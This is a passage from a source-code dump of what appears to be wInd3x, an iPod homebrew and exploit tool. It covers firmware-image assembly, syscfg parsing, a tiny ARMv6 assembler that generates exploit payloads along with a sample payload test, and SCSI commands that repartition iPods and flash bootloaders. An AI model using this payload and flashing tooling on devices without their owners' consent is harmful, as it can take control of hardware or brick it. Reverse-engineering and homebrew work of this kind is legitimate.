m.DeviceKind == devices.Nano3 { fi.Header.Length -= 0x1000 } if ph := fi.PrefixHeader; ph != nil { length += 0x1000 } if (length % 0x1000) != 0 { length += (0x1000 - (length % 0x1000)) } sectionSizes = append(sectionSizes, int(length)) } offs := 0x6000 var sectionOffsets []int for _, size := range sectionSizes { sectionOffsets = append(sectionOffsets, offs) offs += size } sectionOffsets = append(sectionOffsets, offs) binary.Write(buf, binary.LittleEndian, m.VolumeHeader) // Pad to 0x5000 pad := 0x5000 - buf.Len() buf.Write(bytes.Repeat([]byte{0}, pad)) for i, fi := range m.Files { header := *fi.Header if header.Valid() { header.Offset = uint32(sectionOffsets[i]) } binary.Write(buf, binary.LittleEndian, header) } for i, fi := range m.Files { if !fi.Header.Valid() { continue } // Pad to start of file. pad = sectionOffsets[i] - buf.Len() if pad < 0 { return nil, fmt.Errorf("file %d padding too long (%d too long)", i-1, -pad) } buf.Write(bytes.Repeat([]byte{0}, pad)) // Write file data. if ph := fi.PrefixHeader; ph != nil { binary.Write(buf, binary.LittleEndian, ph) buf.Write(bytes.Repeat([]byte{0x00}, 0x200-6*4)) buf.Write(bytes.Repeat([]byte{0xff}, 0xe00)) } buf.Write(fi.Data) // Pad to next offset. paddingLen := sectionOffsets[i+1] - buf.Len() buf.Write(bytes.Repeat([]byte{0}, paddingLen)) } return buf.Bytes(), nil } ================================================ FILE: pkg/syscfg/syscfg.go ================================================ package syscfg import ( "bytes" "encoding/binary" "encoding/hex" "fmt" "io" ) type Header struct { Tag Tag Size uint32 Unk1 uint32 Unk2 uint32 Unk3 uint32 NumKVs uint32 } type Tag [4]byte func (t Tag) String() string { return string([]byte{ t[3], t[2], t[1], t[0], }) } type handler func(r io.Reader) *Values type Values struct { // SrNm is the serial number. SrNm string // FwId is the firmware ID. FwId []byte // HwId is the hardware ID. HwId []byte // HwVr is the hardware version. HwVr []byte // SwVr is the software version. SwVr string // MLBN is the main logic board (serial) number. MLBN string // ModN is the model number. It should be named Mod#. ModN string // RegN is the region. Regn []byte } func (v *Values) Debug(w io.Writer) { fmt.Fprintf(w, " SrNm (serial number): %s\n", v.SrNm) fmt.Fprintf(w, " FwId (firmware ID): %s\n", hex.EncodeToString(v.FwId)) fmt.Fprintf(w, " HwId (hardware ID): %s\n", hex.EncodeToString(v.HwId)) fmt.Fprintf(w, " HwVr (hardware version): %s\n", hex.EncodeToString(v.HwVr)) fmt.Fprintf(w, " SwVr (software version): %s\n", v.SwVr) fmt.Fprintf(w, "MLBN (logic board number): %s\n", v.MLBN) fmt.Fprintf(w, " Mod# (model number): %s\n", v.ModN) fmt.Fprintf(w, " Regn (region): %s\n", hex.EncodeToString(v.Regn)) } func Parse(r io.Reader) (*Values, error) { var hdr Header if err := binary.Read(r, binary.LittleEndian, &hdr); err != nil { return nil, fmt.Errorf("failed to read header: %w", err) } if hdr.Tag.String() != "SCfg" { return nil, fmt.Errorf("not a syscfg block") } var v Values for i := uint32(0); i < hdr.NumKVs; i++ { var tagB [4]byte if _, err := r.Read(tagB[:]); err != nil { return nil, fmt.Errorf("failed to read tag %d header: %w", i, err) } tag := Tag(tagB) // Data is always 16 bytes long... for now? data := make([]byte, 16) if _, err := r.Read(data); err != nil { return nil, fmt.Errorf("failed to read tag %d data: %w", i, err) } switch tag.String() { case "SrNm": v.SrNm = string(bytes.TrimRight(data, "\x00")) case "FwId": v.FwId = data case "HwId": v.HwId = data case "HwVr": v.HwVr = data case "SwVr": v.SwVr = string(bytes.TrimRight(data, "\x00")) case "MLBN": v.MLBN = string(bytes.TrimRight(data, "\x00")) case "Mod#": v.ModN = string(bytes.TrimRight(data, "\x00")) case "Regn": v.Regn = data default: return nil, fmt.Errorf("unknown tag %s", tag.String()) } } return &v, nil } ================================================ FILE: pkg/uasm/insns.go ================================================ package uasm type Ldr struct { instruction Dest Register Src LoadSource } func (l Ldr) hydrate(c *ctx) []byte { var res uint32 res |= l.Src.encodeLoadSource(c) res |= l.Dest.Encode() << 12 res |= 0b111001011001 << 20 return p32(res) } type Ldrb struct { instruction Dest Register Src LoadSource } func (l Ldrb) hydrate(c *ctx) []byte { var res uint32 res |= l.Src.encodeLoadSource(c) res |= l.Dest.Encode() << 12 res |= 0b111001011101 << 20 return p32(res) } type Str struct { instruction Src Register Dest StoreDest } func (s Str) hydrate(c *ctx) []byte { var res uint32 res |= s.Dest.encodeStoreDest(c) res |= s.Src.Encode() << 12 res |= 0b111001011000 << 20 return p32(res) } type Strb struct { instruction Src Register Dest StoreDest } func (s Strb) hydrate(c *ctx) []byte { var res uint32 res |= s.Dest.encodeStoreDest(c) res |= s.Src.Encode() << 12 res |= 0b111001011100 << 20 return p32(res) } type Bx struct { instruction Dest Register } func (b Bx) hydrate(c *ctx) []byte { var res uint32 res |= b.Dest.Encode() res |= 0b1110000100101111111111110001 << 4 return p32(res) } type Blx struct { instruction Dest Register } func (b Blx) hydrate(c *ctx) []byte { var res uint32 res |= b.Dest.Encode() res |= 0b1110000100101111111111110011 << 4 return p32(res) } type B struct { instruction Cond Condition Dest BranchTarget } func (b B) hydrate(c *ctx) []byte { addr := b.Dest.resolveBranchTarget(c) pcAddr := c.instrAddr + 8 offset := (int64(addr) - int64(pcAddr)) / 4 // math probably wrong, whatever if offset > (1<<15) || offset < -(1<<15) { panic("target too far away") } var res uint32 res |= uint32(offset) & ((1 << 24) - 1) res |= 0b1010 << 24 res |= b.Cond.Encode() return p32(res) } type Mov struct { instruction Dest Register Src DataSource } func (m Mov) hydrate(c *ctx) []byte { var res uint32 res |= m.Src.encodeDataSource(c) res |= m.Dest.Encode() << 12 res |= 0b1110000110100000 << 16 return p32(res) } type And struct { instruction Dest Register Src Register Compl DataSource } func (a And) hydrate(c *ctx) []byte { var res uint32 res |= a.Dest.Encode() << 12 res |= a.Src.Encode() << 16 res |= a.Compl.encodeDataSource(c) res |= 0b111000000000 << 20 return p32(res) } type Or struct { instruction Dest Register Src Register Compl DataSource } func (a Or) hydrate(c *ctx) []byte { var res uint32 res |= a.Dest.Encode() << 12 res |= a.Src.Encode() << 16 res |= a.Compl.encodeDataSource(c) res |= 0b111000011000 << 20 return p32(res) } type Add struct { instruction Dest Register Src Register Compl DataSource } func (a Add) hydrate(c *ctx) []byte { var res uint32 res |= a.Dest.Encode() << 12 res |= a.Src.Encode() << 16 res |= a.Compl.encodeDataSource(c) res |= 0b111000001000 << 20 return p32(res) } type Sub struct { instruction Dest Register Src Register Compl DataSource } func (a Sub) hydrate(c *ctx) []byte { var res uint32 res |= a.Dest.Encode() << 12 res |= a.Src.Encode() << 16 res |= a.Compl.encodeDataSource(c) res |= 0b111000000100 << 20 return p32(res) } type Cmp struct { instruction A Register B DataSource } func (m Cmp) hydrate(c *ctx) []byte { var res uint32 res |= m.A.Encode() << 16 res |= m.B.encodeDataSource(c) res |= 0b111000010101 << 20 return p32(res) } type Mcr struct { instruction Opc uint8 CRn uint8 Src Register CPn uint8 Opc2 uint8 CRm uint8 } func (m Mcr) hydrate(c *ctx) []byte { var res uint32 res |= 0b11101110 << 24 res |= uint32(m.Opc) << 21 res |= uint32(m.CRn) << 16 res |= m.Src.Encode() << 12 res |= uint32(m.CPn) << 8 res |= uint32(m.Opc2) << 5 res |= 1 << 4 res |= uint32(m.CRm) return p32(res) } type Mrc struct { instruction Opc uint8 // CRn is the coprocessor register number. CRn uint8 Dest Register // CPn is the coprocessor number (eg. CP15). CPn uint8 Opc2 uint8 // CRm is the additional coprocessor register number. CRm uint8 } func (m Mrc) hydrate(c *ctx) []byte { var res uint32 res |= 0b11101110 << 24 res |= uint32(m.Opc) << 21 res |= 1 << 20 res |= uint32(m.CRn) << 16 res |= m.Dest.Encode() << 12 res |= uint32(m.CPn) << 8 res |= uint32(m.Opc2) << 5 res |= 1 << 4 res |= uint32(m.CRm) return p32(res) } ================================================ FILE: pkg/uasm/operands.go ================================================ package uasm // DataSource is an operand which can be a source of data to a non-memory // operation. type DataSource interface { encodeDataSource(c *ctx) uint32 } // LoadSource is an operand which can be a source of data to a memory // operation. type LoadSource interface { encodeLoadSource(c *ctx) uint32 } // StoreDest is an operand which can be a destination for a memory operation. type StoreDest interface { encodeStoreDest(c *ctx) uint32 } // Branch target is an operand that can be interpreted as a program address. type BranchTarget interface { resolveBranchTarget(c *ctx) uint32 } // Constant is a 32-bit number that will end up in a constant pool. type Constant uint32 func (t Constant) encodeLoadSource(c *ctx) uint32 { val := uint32(t) addr := c.AllocateConstant(val) md := MemoryDeref{ Reg: PC, Offset: offsetForward(c.instrAddr, addr), } return md.encodeLoadSource(c) } type MemoryDeref struct { Reg Register Offset uint16 } func (m MemoryDeref) encodeLoadSource(c *ctx) uint32 { if m.Offset >= (1 << 12) { panic("offset too large") } var res uint32 res |= uint32(m.Offset) res |= m.Reg.Encode() << 16 return res } func (m MemoryDeref) encodeStoreDest(c *ctx) uint32 { if m.Offset >= (1 << 12) { panic("offset too large") } var res uint32 res |= uint32(m.Offset) res |= m.Reg.Encode() << 16 return res } func Deref(r Register, offset uint16) MemoryDeref { return MemoryDeref{ Reg: r, Offset: offset, } } // Immediate is a data source (for operations like mov, add, etc). type Immediate uint32 func (i Immediate) encodeDataSource(c *ctx) uint32 { val := uint32(i) encodable := false if val >= (1 << 11) { for i := 0; i < 16; i++ { m := ((val << uint32(i*2)) | (val >> (32 - uint32(i*2)))) & 0xffffffff if m < 256 { val = (uint32(i) << 8) | m encodable = true break } } if !encodable { panic("unencodable immediate") } } var res uint32 res |= 1 << 25 res |= val return res } func (r Register) encodeDataSource(c *ctx) uint32 { var res uint32 res |= r.Encode() return res } ================================================ FILE: pkg/uasm/uasm.go ================================================ // package uasm implements a boneless pseudo assembler and linker for ARMv6. // It's used to generate payloads for wInd3x without relying on a third-party // assembler at runtime, or precompiling payloads. package uasm import ( "fmt" ) // Program is a snippet of ARM code to be run at a given address. type Program struct { Address uint32 Listing []Statement } func (p *Program) Assemble() []byte { var size uint32 for _, l := range p.Listing { size += l.size() } ctx := ctx{ p: p, instrAddr: p.Address, constantPoolStart: p.Address + size, constantPool: make(map[uint32]uint32), constantPoolList: nil, labels: make(map[string]uint32), } // First pass: labels must be created. for _, l := range p.Listing { isize := l.size() l.preprocess(&ctx) ctx.instrAddr += isize } // Second pass: bytes must be emitted. ctx.instrAddr = p.Address var res []byte for _, l := range p.Listing { isize := l.size() if isize == 0 { continue } data := l.hydrate(&ctx) ctx.instrAddr += isize res = append(res, data...) } for _, c := range ctx.constantPoolList { res = append(res, p32(c)...) } return res } type Register int const ( R0 Register = 0 R1 Register = 1 R2 Register = 2 R3 Register = 3 R4 Register = 4 SP Register = 13 LR Register = 14 PC Register = 15 ) func (r Register) Encode() uint32 { return uint32(r) } type Condition string const ( AL Condition = "" NE Condition = "NE" ) func (c Condition) Encode() uint32 { switch c { case AL: return 0b1110 << 28 case NE: return 0b0001 << 28 } panic("invalid condition") } // Statement is a listing line, eg. instruction or label. type Statement interface { // preprocess is a first pass assemble function, giving the statements an // opportunity to register labels. preprocess(c *ctx) // hydrate is the second pass assemble function, in which a statement must // return concrete data. hydrate(c *ctx) []byte // size of the instruction in bytes. size() uint32 } type ctx struct { p *Program instrAddr uint32 constantPoolStart uint32 constantPool map[uint32]uint32 constantPoolList []uint32 labels map[string]uint32 } func (h *ctx) AllocateConstant(val uint32) uint32 { if a, ok := h.constantPool[val]; ok { return a } a := h.constantPoolStart h.constantPoolStart += 4 h.constantPool[val] = a h.constantPoolList = append(h.constantPoolList, val) return a } // instruction is an embeddable struct to be put in any 'typical' 4-byte ARM // instruction that has no preprocess step. type instruction struct { } func (i instruction) size() uint32 { return 4 } func (i instruction) preprocess(c *ctx) { } func offsetForward(from, to uint32) uint16 { pcAddr := from + 8 if to < pcAddr { panic("nonsense") } offset := to - pcAddr if offset >= (1 << 12) { panic("constant too far away") } return uint16(offset) } func p32(u uint32) []byte { return []byte{ byte((u >> 0) & 0xff), byte((u >> 8) & 0xff), byte((u >> 16) & 0xff), byte((u >> 24) & 0xff), } } type Label string func (l Label) size() uint32 { return 0 } func (l Label) preprocess(c *ctx) { v := string(l) if _, ok := c.labels[v]; ok { panic(fmt.Sprintf("duplicate label %q", v)) } c.labels[v] = c.instrAddr } func (l Label) hydrate(c *ctx) []byte { return nil } type LabelRef string func (r LabelRef) resolveBranchTarget(c *ctx) uint32 { addr, ok := c.labels[string(r)] if !ok { panic(fmt.Sprintf("unknown label %q", string(r))) } return addr } func (r LabelRef) encodeLoadSource(c *ctx) uint32 { val := r.resolveBranchTarget(c) addr := c.AllocateConstant(val) md := MemoryDeref{ Reg: PC, Offset: offsetForward(c.instrAddr, addr), } return md.encodeLoadSource(c) } type Embed []byte func (e Embed) size() uint32 { return uint32(len([]byte(e))) } func (e Embed) preprocess(_ *ctx) { } func (e Embed) hydrate(c *ctx) []byte { return []byte(e) } ================================================ FILE: pkg/uasm/uasm_test.go ================================================ package uasm import ( "bytes" "encoding/hex" "testing" ) func TestSample(t *testing.T) { p := Program{ Address: 0x2202dc08, Listing: []Statement{ // Flush caches. Mov{Dest: R0, Src: Immediate(0)}, Mcr{CPn: 15, Opc: 0, Src: R0, CRn: 7, CRm: 5, Opc2: 0}, // Load offset Ldr{Dest: R0, Src: Constant(0x2202db00)}, Ldr{Dest: R1, Src: Deref(R0, 0)}, // Copy 0x40 bytes from R1 to R0. Mov{Dest: R2, Src: Immediate(0)}, Label("loop"), Ldrb{Dest: R3, Src: Deref(R1, 0)}, Strb{Src: R3, Dest: Deref(R0, 0)}, Add{Dest: R0, Src: R0, Compl: Immediate(1)}, Add{Dest: R1, Src: R1, Compl: Immediate(1)}, Add{Dest: R2, Src: R2, Compl: Immediate(1)}, Cmp{A: R2, B: Immediate(0x40)}, B{Cond: NE, Dest: LabelRef("loop")}, Ldr{Dest: LR, Src: Constant(0x20004d70)}, Bx{Dest: LR}, }, } res := p.Assemble() want, _ := hex.DecodeString("0000a0e3150f07ee28009fe5001090e50020a0e30030d1e50030c0e5010080e2011081e2012082e2400052e3f8ffff1a04e09fe51eff2fe100db0222704d0020") if !bytes.Equal(res, want) { t.Fatalf("wrong assembly (got %s)", hex.EncodeToString(res)) } } ================================================ FILE: pkg/usbms/ipod.go ================================================ package usbms import ( "bytes" "encoding/binary" "fmt" "howett.net/plist" ) type DeviceInformation struct { UpdaterFanilyVersion int `plist:"UpdaterFamilyVersion"` BuildID string `plist:"BuildID"` SerialNumber string `plist:"SerialNumber"` } func (h *Host) IPodDeviceInformation() (*DeviceInformation, error) { if _, err := h.InquiryVPD(0xc0, 0xfc); err != nil { return nil, err } var res []byte for i := uint8(0xc2); i <= 0xff; i++ { page, err := h.InquiryVPD(i, 0xfc) if err != nil { return nil, err } res = append(res, page...) if len(page) != 0xfc-4 { break } } var di DeviceInformation if _, err := plist.Unmarshal(res, &di); err != nil { return nil, err } return &di, nil } //type IPodSubcommand uint8 const ( IPodSubcommandUpdateStart uint8 = 0x90 IPodSubcommandUpdateChunk uint8 = 0x91 IPodSubcommandUpdateEnd uint8 = 0x92 IPodSubcommandRepartition uint8 = 0x94 IPodSubcommandUpdateFinalize uint8 = 0x31 ) func (h *Host) IPodRepartition(targetSize int) error { if (targetSize % 4096) != 0 { return fmt.Errorf("target size must be 12 bit aligned") } sectors := targetSize >> 12 partsize := uint32(sectors << 2) buf := bytes.NewBuffer(nil) binary.Write(buf, binary.BigEndian, struct { Subcommand uint8 Size uint32 }{IPodSubcommandRepartition, partsize}) cbd := &CommandDataBuffer{ OperationCode: 0xc6, Request: buf.Bytes(), } if err := h.RawCommand(cbd); err != nil { return err } return nil } type IPodUpdateKind uint8 var ( IPodUpdateBootloader IPodUpdateKind = 1 IPodUpdateFirmware IPodUpdateKind = 0 ) func (h *Host) IPodUpdateStart(kind IPodUpdateKind, size uint32) error { buf := bytes.NewBuffer(nil) binary.Write(buf, binary.BigEndian, struct { Subcommand uint8 Kind uint8 Size uint32 }{IPodSubcommandUpdateStart, uint8(kind), size}) cbd := &CommandDataBuffer{ OperationCode: 0xc6, Request: buf.Bytes(), } if err := h.RawCommand(cbd); err != nil { return err } return nil } func (h *Host) IPodUpdateEnd() error { buf := bytes.NewBuffer(nil) binary.Write(buf, binary.BigEndian, struct { Subcommand uint8 }{IPodSubcommandUpdateEnd}) cbd := &CommandDataBuffer{ OperationCode: 0xc6, Request: buf.Bytes(), } if err := h.RawCommand(cbd); err != nil { return err } return nil } func (h *Host) IPodUpdateSendChunk(data []byte) error { if len(data)%4096 != 0 { return fmt.Errorf("data chunk size must be aligned to 12 bits") } nsectors := uint16(len(data) >> 12) buf := bytes.NewBuffer(nil) binary.Write(buf, binary.BigEndian, struct { Subcommand uint8 NSectors uint16 }{IPodSubcommandUpdateChunk, nsectors}) cbd := &CommandDataBuffer{ OperationCode: 0xc6, Request: buf.Bytes(), Data: data, DataTransferDirection: DataTransferToDevice, } if err := h.RawCommand(cbd); err != nil { return err } return nil } func (h *Host) IPodUpdateSendFull(kind IPodUpdateKind, data []byte) error { origlen := len(data) if len(data)%4096 != 0 { padding := bytes.Repeat([]byte{0}, 4096-(len(data)%4096)) data = append(data, padding...) } if err := h.IPodUpdateStart(kind, uint32(origlen)); err != nil { return fmt.Errorf("starting failed: %w", err) } csize := 4096 * 8 for i := 0; i < len(data); i += csize { pcnt := (i * 100) / len(data) fmt.Printf("%d%%...\r", pcnt) chunk := data[i:] if len(chunk) > csize { chunk = chunk[:csize] } if err := h.IPodUpdateSendChunk(chunk); err != nil { return fmt.Errorf("sending chunk %x failed: %w", i, err) } } if err := h.IPodUpdateEnd(); err != nil { return fmt.Errorf("ending failed: %w", err) } return nil } func (h *Host) IPodFinalize(reset bool) error { buf := bytes.NewBuffer(nil) binary.Write(buf, binary.BigEndian, struct { Subcommand uint8 }{IPodSubcommandUpdateFinalize}) cbd := &CommandDataBuffer{ OperationCode: 0xc6, Request: buf.Bytes(), } if err := h.RawCommand(cbd); err != nil { return err } if reset { cbd = &CommandDataBuffer{ OperationCode: 0x1e, Request: []byte{0, 0, 0, 0}, } if err := h.RawCommand(cbd); err != nil { return err } cbd = &CommandDataBuffer{ OperationCode: 0x1b, Request: []byte{0, 0, 0, 2}, } if err := h.RawCommand(cbd); err != nil { return err } } return nil } ================================================ FILE: pkg/usbms/scsi.go ================================================ package usbms import ( "errors" "fmt" "time" ) // The following is borrowed from // https://github.com/monogon-dev/monogon/blob/main/metropolis/pkg/scsi/scsi.go // // Copyright 2023 The Monogon Project Authors. // OperationCode contains the code of the command to be called // SPDX-License-Identifier: Apache-2.0 type OperationCode uint8 const ( InquiryOp OperationCode = 0x12 ReadDefectDataOp OperationCode = 0x37 LogSenseOp OperationCode = 0x4d ) type DataTransferDirection uint8 const ( DataTransferNone DataTransferDirection = iota DataTransferToDevice DataTransferFromDevice DataTransferBidirectional ) // CommandDataBuffer represents a command type CommandDataBuffer struct { OperationCode OperationCode // Request contains the OperationCode-specific request parameters Request []byte // ServiceAction can (for certain CDB encodings) contain an additional // qualification for the OperationCode. ServiceAction *uint8 // Control contains common CDB metadata Control uint8 // DataTransferDirection contains the direction(s) of the data transfer(s) // to be made. DataTransferDirection DataTransferDirection // Data contains the data to be transferred. If data needs to be received // from the device, a buffer needs to be provided here. Data []byte // Timeout can contain an optional timeout (0 = no timeout) for the command Timeout time.Duration } // Bytes returns the raw CDB to be sent to the device func (c *CommandDataBuffer) Bytes() ([]byte, error) { // Table 24 switch { case c.OperationCode < 0x20: // Use CDB6 as defined in Table 3 if c.ServiceAction != nil { return nil, errors.New("ServiceAction field not available in CDB6") } if len(c.Request) != 4 { return nil, fmt.Errorf("CDB6 request size is %d bytes, needs to be 4 bytes without LengthField", len(c.Request)) } outBuf := make([]byte, 6) outBuf[0] = uint8(c.OperationCode) copy(outBuf[1:5], c.Request) outBuf[5] = c.Control return outBuf, nil case c.OperationCode < 0x60: // Use CDB10 as defined in Table 5 if len(c.Request) != 8 { return nil, fmt.Errorf("CDB10 request size is %d bytes, needs to be 4 bytes", len(c.Request)) } outBuf := make([]byte, 10) outBuf[0] = uint8(c.OperationCode) copy(outBuf[1:9], c.Request) if c.ServiceAction != nil { outBuf[1] |= *c.ServiceAction & 0b11111 } outBuf[9] = c.Control return outBuf, nil case c.OperationCode < 0x7e: return nil, errors.New("OperationCode is reserved") case c.OperationCode == 0x7e: // Use variable extended return nil, errors.New("variable extended CDBs are unimplemented") case c.OperationCode == 0x7f: // Use variable return nil, errors.New("variable CDBs are unimplemented") case c.OperationCode < 0xa0: // Use CDB16 as defined in Table 13 if len(c.Request) != 14 { return nil, fmt.Errorf("CDB16 request size is %d bytes, needs to be 14 bytes", len(c.Request)) } outBuf := make([]byte, 16) outBuf[0] = uint8(c.OperationCode) copy(outBuf[1:15], c.Request) if c.ServiceAction != nil { outBuf[1] |= *c.ServiceAction & 0b11111 } outBuf[15] = c.Control return outBuf, nil case c.OperationCode < 0xc0: // Use CDB12 as defined in Table 7 if len(c.Request) != 10 { return nil, fmt.Errorf("CDB12 request size is %d bytes, needs to be 10 bytes", len(c.Request)) } outBuf := make([]byte, 12) outBuf[0] = uint8(c.OperationCode) copy(outBuf[1:11], c.Request) if c.ServiceAction != nil { outBuf[1] |= *c.ServiceAction & 0b11111 } outBuf[11] = c.Control return outBuf, nil case c.OperationCode == 0xc6: // Special iPod operation code. limit := 5 switch c.Request[0] { case IPodSubcommandUpdateStart, IPodSubcommandUpdateEnd, IPodSubcommandUpdateFinalize, IPodSubcommandRepartition: limit = 15 case IPodSubcommandUpdateChunk: limit = 9 default: return nil, fmt.Errorf("cannot serialize subcommand %x", c.Request[0]) } if len(c.Request) > limit { return nil, fmt.Errorf("request too long") } res := make([]byte, limit+1) res[0] = byte(c.OperationCode) copy(res[1:], c.Request) return res, nil default: return nil, errors.New("unable to encode CDB for given OperationCode") } } ================================================ FILE: pkg/usbms/usbms.go ================================================ package usbms import ( "bytes" "encoding/binary" "fmt" "github.com/freemyipod/wInd3x/pkg/devices" ) type CBW struct { Signature [4]byte Tag uint32 DataTransferLength uint32 Flags uint8 LUN uint8 Length uint8 CB [16]byte } type CBS struct { Signature [4]byte Tag uint32 DataResidue uint32 Status uint8 } type Host struct { Endpoints devices.UsbMsEndpoints Tag uint32 } func (h *Host) InquiryVPD(page uint8, allocation uint16) ([]byte, error) { req := bytes.NewBuffer(nil) binary.Write(req, binary.BigEndian, struct { EVPD uint8 PageCode uint8 AllocationLength uint16 }{1, page, allocation}) data := make([]byte, allocation) cbd := &CommandDataBuffer{ OperationCode: InquiryOp, Request: req.Bytes(), Data: data, DataTransferDirection: DataTransferFromDevice, } if err := h.RawCommand(cbd); err != nil { return nil, err } res := struct { EVPD uint8 PageCode uint8 PageLength uint16 }{} binary.Read(bytes.NewBuffer(cbd.Data[:4]), binary.BigEndian, &res) if res.EVPD != 0 || res.PageCode != page { return nil, fmt.Errorf("invalid response: %+v", res) } return cbd.Data[4 : 4+res.PageLength], nil } func (h *Host) RawCommand(cbd *CommandDataBuffer) error { rlen := len(cbd.Data) cbw, err := h.buildCBW(cbd, uint32(rlen)) if err != nil { return fmt.Errorf("building CBW failed: %w", err) } cbwb := cbw.Bytes() if _, err := h.Endpoints.Out.Write(cbwb); err != nil { return fmt.Errorf("write failed: %w", err) } switch cbd.DataTransferDirection { case DataTransferFromDevice: n, err := h.Endpoints.In.Read(cbd.Data) if err != nil { return fmt.Errorf("data read failed: %w", err) } cbd.Data = cbd.Data[:n] case DataTransferToDevice: n, err := h.Endpoints.Out.Write(cbd.Data) if err != nil { return fmt.Errorf("data write failed: %w", err) } if want, got := len(cbd.Data), n; want != got { return fmt.Errorf("should've written %d bytes, wrote %d", want, got) } } cbsb := make([]byte, 13) if n, err := h.Endpoints.In.Read(cbsb); err != nil && n != 13 { return fmt.Errorf("status read failed: %w", err) } var cbs CBS binary.Read(bytes.NewBuffer(cbsb), binary.LittleEndian, &cbs) if !bytes.Equal(cbs.Signature[:], []byte("USBS")) { return fmt.Errorf("cbs signature invalid") } if cbs.Tag != cbw.Tag { return fmt.Errorf("tag mismatch: CBS %d != CBW %d", cbs.Tag, cbw.Tag) } if cbs.DataResidue != 0 { rlen -= int(cbs.DataResidue) cbd.Data = cbd.Data[:rlen] } if cbs.Status != 0 { return fmt.Errorf("cbs status: %d", cbs.Status) } return nil } func (h *Host) buildCBW(cbd *CommandDataBuffer, dataLength uint32) (*CBW, error) { data, err := cbd.Bytes() if err != nil { return nil, err } if len(data) > 16 { return nil, fmt.Errorf("cbd data too long") } var flags uint8 switch cbd.DataTransferDirection { case DataTransferFromDevice: flags = 1 << 7 case DataTransferToDevice, DataTransferNone: default: return nil, fmt.Errorf("DataTransferDirection must be to or from device or none") } h.Tag += 1 cbw := CBW{ Signature: [4]byte{'U', 'S', 'B', 'C'}, Tag: h.Tag, DataTransferLength: dataLength, Flags: flags, LUN: 0, Length: uint8(len(data)), } copy(cbw.CB[:len(data)], data) return &cbw, nil } func (c *CBW) Bytes() []byte { buf := bytes.NewBuffer(nil) binary.Write(buf, binary.LittleEndian, c) return buf.Bytes() } ================================================ FILE: web/.gitignore ================================================ dist check.log node_modules server.elf ================================================ FILE: web/COPYING ================================================ GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 